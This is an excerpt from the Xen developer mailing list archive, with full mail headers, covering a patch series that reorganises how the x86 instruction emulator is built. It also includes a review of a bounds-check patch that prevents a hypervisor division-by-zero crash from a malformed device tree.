 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 13:56:42 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f8c7a-f2d2-0a2a45030019-d1558035c9ba-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 13:56:42 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-493b966dd74so7246555e9.3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 04:56:42 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa0f213e8sm48834190f8f.34.2026.07.09.04.56.41
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 04:56:42 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783598202; x=1784203002; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=sv1lkAmLEVDqcV/2O5RxGLO/sfmJzzA9DQ5sfvZQKtI=;
        b=QGMdzCUdhxuvcEVY2SZvSDEu1n03/5Kfc8cJ3JJTEjicMaQbYjRBc6SxBAs3d6TnSE
         ZRHeBERJiA5GZUdFxlSlbC4b9ld0sh+1yMvMOOjOiwoiwBk2wW+RuN/tnvrp2B3/Bz0J
         sBS+rCwRHnRE4qlBkjUXeUsPYrOjOaENmgMcLZ2OluwCM3ZqSp/ce+Y2QffXlTnLOnzF
         H9JPcUrbmrnClxqc+Yb1lgouZHQ9pp1fnJNBu1kXJPHY+Tm2fdOqfwZhvdnwvbJrQlfV
         Lw6qqbi+2JxRdkwPxrqpeyBIenjFSHbZiYRiYeXtwvYT/6+TF/Mwe84Abpwwq/rhI9nB
         ijMg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783598202; x=1784203002;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=sv1lkAmLEVDqcV/2O5RxGLO/sfmJzzA9DQ5sfvZQKtI=;
        b=YhzUGeU36NH6+vXn2O6Mqj9YkG1sCufO+mcC6KWwlrAH/RFL5v+BKAZVl7i1d+xFjq
         9byTVXsprJ0uaj+sd90ZP23FRNtZeMa9n6nppw2t2Z9ll/rs0SJqwxuHbIVsv8NWk061
         CGF8Rt/p0WWIgxuoeakqvxQD0NICFQToxCqlpmfPuQtwAMXVC+Apij9FSC8Pmn8N3SN2
         PgY3yjEA+S9bDw0xRzJEyjRewUvNHizWuDrIWLjy8pimJfJGIQiMZNlFmyz7MLaRv7Br
         l9+WPWTiSqfIKLCQYJiyl9gRgSPpQALUdgV9cbQaJbjBVyHJMu6qSn3KQ5ncdayZxZbI
         mLvw==
X-Gm-Message-State: AOJu0YzA6g79Bo1ClgfsR8FNEmp0kBYAZnL3VCgRCz/29dE3of/vE0vu
	SItIgWQ+3U6zirapuJXzI8rPF4EAA6ECeKUF2nzthVO6cE4OONj/6l+9vMxgoofAuryN5yR+Daj
	GIoIxXw==
X-Gm-Gg: AfdE7cnwM4i5q1ONMO1aWsbKBCiu+xzdGgSkUR1ON2Og8BUcr6HBkSyFQB97W09FFgE
	52ncKi2O+jb4ZKAOebtLo5pMyqbdu6+TfZbyciG74lPHvjZTX+X3+nHm/y9ONnhU9rt5JiCFZAo
	m+5HIp6jWLsFkY/UxRAast4O15rBGMv/Pdpqfnq1iat/JpKZKqdxurmFlQIvpLhXhHfCPGKI7wW
	HOh3QonV3Hc0pmVXbrjPImFCP2MdNMIMK4x8mQwVRZgCao0fi57OzcGbb+Jg3hOWVZW1CCa4dF/
	4hDZENFr1bm4M56BRC7KAK5W212QPd5AhP2jWTRe1xCQoHQnhxnAgHLB57EzbSn7IhqY05h9gvP
	W6oOKiu5bxB3+l/rl+dwzga/rR+qHZrjZtzjm0Yxfjzv8ddaUBkoWS1178UnsJl52A9Y8yEUwEU
	/i7ENXSfuGiSyMKQ0ar4v5oogYGUdHxcJt0xc54KftZ+ueizLyjlOOfpFBDdvP+coP8HncsLrI0
	uA3jERYobMjuUs=
X-Received: by 2002:a05:600c:a0d:b0:490:e5c1:b8bf with SMTP id 5b1f17b1804b1-493e6841006mr71313245e9.13.1783598202408;
        Thu, 09 Jul 2026 04:56:42 -0700 (PDT)
Message-ID: <8a3ee9c3-489a-4dbf-b61b-cd078322b786@suse.com>
Date: Thu, 9 Jul 2026 13:56:41 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH 0/2] x86: adjustments to building of the insn emulator
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3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8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1783598202-C3159CF4-ED92A6B2/0/0
X-purgate-type: clean
X-purgate-size: 155

1: x86emul: drop wrapper C file
2: x86: put x86_emulate/ early in $(obj-y)

Possibly the latter patch could also be folded into the former one.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 11:57:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 11:57:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358033.1612320 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnNp-0001Di-FN; Thu, 09 Jul 2026 11:57:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358033.1612320; Thu, 09 Jul 2026 11:57:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnNp-0001DS-B5; Thu, 09 Jul 2026 11:57:37 +0000
Received: by outflank-mailman (input) for mailman id 1358033;
 Thu, 09 Jul 2026 11:57:35 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1whnNn-0001Ch-Ge
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:57:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whnNm-003R59-TM
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 13:57:34 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4f8ca0-2eae-0a2a0a5409dd-0a2a4502a1a2-48
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 13:57:34 +0200
Received: from [209.85.128.47] (helo=mail-wm1-f47.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4f8cae-64c6-0a2a45020019-d155802fe48f-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 13:57:34 +0200
Received: by mail-wm1-f47.google.com with SMTP id
 5b1f17b1804b1-493bc8fda98so13070905e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 04:57:34 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9de1d910sm49621651f8f.6.2026.07.09.04.57.33
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 04:57:33 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783598254; x=1784203054; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=XC6G20eYElvepKz3vsHXjUNWRHh71+erXxQdVzuQOYI=;
        b=FR5/uj4ti+NUd9swJE4Zhww4MSaVdDish96r6qRo3x32wii+jHCR1ravETCEcgia9Y
         i7Wx1IQp2+wmTXlmYQMSIb/823H5pgfLOQf3ebahb6tGQcFJFtJebqm0mh7WsnNBSVq9
         mc0VWuJkz7+wmhANmNWc1qjnhSEgq2k0gNaCLxUX3H1p3QbsPEvEEKZYL94Tkp4QTvgs
         gcj6Mu7XrQCByPJtKRa9TLVnLWtoLQUsbcGNxYNASL4beT76cHOF3/nbvRaGsCQIrVuj
         oZtX7z2B0JvF5RvdEps8RWMkyzn5hIgbfo2GtpcwXPxXtRbrFY+kaTIuqTTtBjXBl0R+
         Mhmg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783598254; x=1784203054;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=XC6G20eYElvepKz3vsHXjUNWRHh71+erXxQdVzuQOYI=;
        b=UOfQQdKm/A4gsNWaEZ2Zwx0jNCsK69cJmBqcOlqLwJmZIXAmS2YWFeLsnvdAR29LTu
         nb9HIfuwQ8APp4qO9lJEzbgqeQm4lcW4oD2nYb8DytCEE/5B69JwXn/Bm1B/XtQ5yd/f
         N4kFY6vGkFV0UTo2HVrrhFK1/EbWUsQ5WHm1a8E3poF/WBTTTL3TOfONYaNKP9AUOIkB
         C09e4cl/gxN2OnpFumzkaxG9foUXyyEZPaA2GMlVG16ylUXAzR8eAWco4EaiBckSUoA2
         hqYn0EFwNVLWADA9ouIisM+E5fKmIi31Rf3RBwoAKbsTNZYmYUHpyOAOdUG8Fisn8mTA
         O7ng==
X-Forwarded-Encrypted: i=1; AHgh+RqaIDo506McTVRZzPFuZ+dpqosyTKIlaeo1AzqUN2OEkAfifdbBOdWkzQrRMAbBrsOfhmkLwJmEWZA=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yxhr0OChBMCFB4hxkSBpX+75SZrQMi9/8aw3ypt/CeN4oEEX3XN
	TlFprrlEoTcClomkw63py2LaADLSH9gzQPfJ+ro+0XJoa1VyRRS16azq
X-Gm-Gg: AfdE7clRK+/N5tcGhQrDCQduCSXErG+JuPmCPB2QEWHHAAspmdoXnOi8iVtUurKe/VP
	ULzCpEGoLs3y5XzcTStmgWB9PPbsL6ED0V8x0LoQRZTMaQaWXNoidGNi6kTS3b9gFIHP0n1TK7v
	qIMF239Cilkd0wm4yv1SOlfkEN9ZHmjcNvkut6zVfBCNodoZ0z4AgeZc9xH5qcVR+HdoxaMAueC
	qye5THjY9Fd1uxA3EEjoyGs5PKsbm/fo3AOyTZUnCB8ZfyfSAVTGK/bpbE0X6hQ8bJjC+jCw0nR
	oReh/m/pT97c9YU6eSAj1TvTyr8FJsdBLopW4XZRQZqg5PjNzk6WWnKMN89tioBgD/0a9yJg435
	0Mes7Y3+0xKDUVFbqf9bxdcbtI88rtl3LX7T4JqM1xhNj+tWStNNDZYbFtyH9DHwZnrmWc1iFD0
	e/egkXfCnVaVJXgep4m5LqndxKkZFG1C4j53w9MYqWH99S+Kf1Ii6IPag9KX7GCd9fXAk=
X-Received: by 2002:a05:600c:3552:b0:493:c337:db19 with SMTP id 5b1f17b1804b1-493e8992e65mr49675585e9.17.1783598254048;
        Thu, 09 Jul 2026 04:57:34 -0700 (PDT)
Message-ID: <d5c84561-5138-4913-888b-231a054a91c1@gmail.com>
Date: Thu, 9 Jul 2026 13:57:32 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22 v4] dom0less: Prevent division by zero in
 handle_passthrough_prop()
To: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>
References: <b31a0f41a52d78091556352c3e961c8238806e0e.1783597523.git.dmytro_prokopchuk1@epam.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <b31a0f41a52d78091556352c3e961c8238806e0e.1783597523.git.dmytro_prokopchuk1@epam.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1783598254-7CD2CA87-1CCEBD5D/10/73395122804
X-purgate-type: spam
X-purgate-size: 2134



On 7/9/26 1:47 PM, Dmytro Prokopchuk1 wrote:
> A malformed partial DTB specifying both '#address-cells = <0>' and
> '#size-cells = <0>' causes '(address_cells * 2 + size_cells)' to
> evaluate to 0. This sum is subsequently used as a divisor when
> calculating the number of regions in the 'xen,reg' property inside
> handle_passthrough_prop():
> 
>      len = fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) *
>                                          sizeof(uint32_t));
> 
> This leads to a division by zero exception in the Xen hypervisor during
> boot, causing a hypervisor panic/crash.
> 
> Fix this by validating that both 'address_cells' and 'size_cells'
> are within the valid range of [1, 2] at the read side in scan_pfdt_node()
> immediately after they are parsed. Any invalid cell size combination is
> safely rejected early with an error message and return -EINVAL.
> 
> Fixes: 9ce974c47588 ("xen/arm: assign devices to boot domains")
> Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
> ---
> Changes in v4:
> - put the expressions in brackets
> - improve the message as Andrew suggested
> ---
>   xen/common/device-tree/dom0less-build.c | 7 +++++++
>   1 file changed, 7 insertions(+)
> 
> diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tree/dom0less-build.c
> index eacfd93087..47465a3609 100644
> --- a/xen/common/device-tree/dom0less-build.c
> +++ b/xen/common/device-tree/dom0less-build.c
> @@ -341,6 +341,13 @@ static int __init scan_pfdt_node(struct kernel_info *kinfo, const void *pfdt,
>       size_cells = device_tree_get_u32(pfdt, nodeoff, "#size-cells",
>                                        DT_ROOT_NODE_SIZE_CELLS_DEFAULT);
>   
> +    if ( (address_cells < 1) || (address_cells > 2) ||
> +         (size_cells < 1) || (size_cells > 2) )
> +    {
> +        dprintk(XENLOG_ERR "Invalid address_cells %u or size_cells %u\n");

I think you missed arguments here:

dprintk(XENLOG_ERR,
         "Invalid address_cells %u or size_cells %u\n",
         address_cells, size_cells);

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 11:57:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 11:57:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358035.1612328 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnO2-0001Zs-N0; Thu, 09 Jul 2026 11:57:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358035.1612328; Thu, 09 Jul 2026 11:57:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnO2-0001Zl-Jp; Thu, 09 Jul 2026 11:57:50 +0000
Received: by outflank-mailman (input) for mailman id 1358035;
 Thu, 09 Jul 2026 11:57:49 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whnO1-0001Z6-Gd
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:57:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whnO0-0031xT-Ti
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 13:57:48 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f8cb2-5cb7-0a2a0a5109dd-0a2a4504b88a-34
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 13:57:48 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f8cbc-b1e5-0a2a45040019-d155dd33c57f-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 13:57:48 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-47640541585so921133f8f.1
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 04:57:48 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47df6a31dd5sm6006521f8f.16.2026.07.09.04.57.47
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 04:57:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783598268; x=1784203068; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=pkUAVKs33bA6SLQQzFxld3LyajDuArKAYW5xh+oIJ88=;
        b=GtSraSG+4f2DAq3lJJ+EwDEQbyPIrPIVefm+CDDa+nilnY389IdmL3sVGPUBx1aBVP
         zLZ0pMz8RqQTTUJ+QudMzvQgE1UToOwMyc6875capr/3sEcdk/EgkFAH9tRIxUiuzvhW
         0ksO6oCHwpDXxtRGmsiQpYAMbFB+V/knyrcRAs/s9Rb8r3YFD6hzWfPHDXZz/2yxK1k6
         6UxMKfbpVYO/X61WyLnl5dBrCeC//fLWwHhXtcoru2yqPsi1ZzZgJP9WV07+s9N94GFW
         DBU8PvykfghCGUiHxhU2uqrq+Nv0VAOs7nVjEqGBEYYWW3080AhWiNgbBGF1A2br0gVV
         vZhQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783598268; x=1784203068;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=pkUAVKs33bA6SLQQzFxld3LyajDuArKAYW5xh+oIJ88=;
        b=DiZlHbIBCPxzVCO4HHD6cvoBBfnYciOH9O4ymsJSWEoKog/6XPddWR8soAmI499e+V
         1K93F/3NAQ110zNqMaVJx1+U/rxYG4OQ6s2N+nHify3AxjRYQgZOwW9PJKdzCkgHjw+5
         POQZmYCvgR7QJLqK011520hZxBddDfOx5uJZRDe0fYTHR0BVIe5JSLxYkIybmx9MAmOT
         TihdUkbnzCLywy+0nxGVLTy8648A0lKS6UJUHbtxRP9HXnLVgcFZcvaOi8MxlwJOPNsQ
         LFJhGxZXoT1zsmq8fDXm+rvmEQik23yTarpEhDT82I9ou1ZaDk1eJyi6RVJtu0m4sRCn
         UGGQ==
X-Gm-Message-State: AOJu0YwL6Ed4JjzsunqLsk2Z394N4iwKGJS5a8LDEpDCfECub8PSFua9
	Sa7fe/O+PYnvf8kruxJ82ggYngVVBXSZS6AwsdmBEGYbrknQ/tehCa7UZa42IKsPWWaqjV0m7gi
	Y0RLRlw==
X-Gm-Gg: AfdE7ckRKbWzpxKf6MKITZs97k3+j7YRlgk4OpJRhDAqeVAR6KJuSLVj1pmRP+j8PqH
	kKbFAJzNuhPdS80uhdBdUoWZ22Sx6LMp5XULVTC+uPMfUxZ2ABCdoZmeWZH2UNaV94OdNma6zuf
	p0O0raOhZUSUWQtZjxlR/nA0iKyLjWMEFSkQZ+4wc9eERHBpMpA1DK4IWrOhj2AQWlCctWVTuJS
	c+4oZpC+xKQQaqygrc4g6fOIy3OfoF4zcmATmR92lc9qi/PmX4qbBuzr7cW7qIfZ3qxpMm5FhkA
	trpNlMnLWt/Ak19hiXcVDy/W13rxfl4GfmrUVL4sdpbDjdQPaEVm24RlXdhYCasKxZlS0JNlvHc
	W79xm+XMnJ1QubJsryakyCL0N6s3/5uEvipUu/kYHNtCm0LXBSvcTdCX/sVgiesxY67nSsVGe3g
	X3YXFznFchskaQYdkwYot9padEW0uV2Q5UjtVcDMZwKxzElVb5HA+9gfXUPRHr5IGutIPWDkJqH
	9cJ
X-Received: by 2002:a05:6000:2482:b0:477:6874:5415 with SMTP id ffacd0b85a97d-47df074605amr7223834f8f.26.1783598267624;
        Thu, 09 Jul 2026 04:57:47 -0700 (PDT)
Message-ID: <c0f1b254-b02b-44b5-8414-37b459fa5b79@suse.com>
Date: Thu, 9 Jul 2026 13:57:46 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 1/2] x86emul: drop wrapper C file
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
References: <8a3ee9c3-489a-4dbf-b61b-cd078322b786@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <8a3ee9c3-489a-4dbf-b61b-cd078322b786@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1783598268-775A8FE7-4783F6AD/0/0
X-purgate-type: clean
X-purgate-size: 4989

Move the little bit that's still left in x86/x86_emulate.c into a __XEN__
conditional in x86/x86_emulate/x86_emulate.c. Move what are roughly the
test/fuzzing harness counterparts from there into the corresponding #else.

Requested-by: Andrew Cooper <andrew.cooper3@citrix.com>
Signed-off-by: Jan Beulich <jbeulich@suse.com>

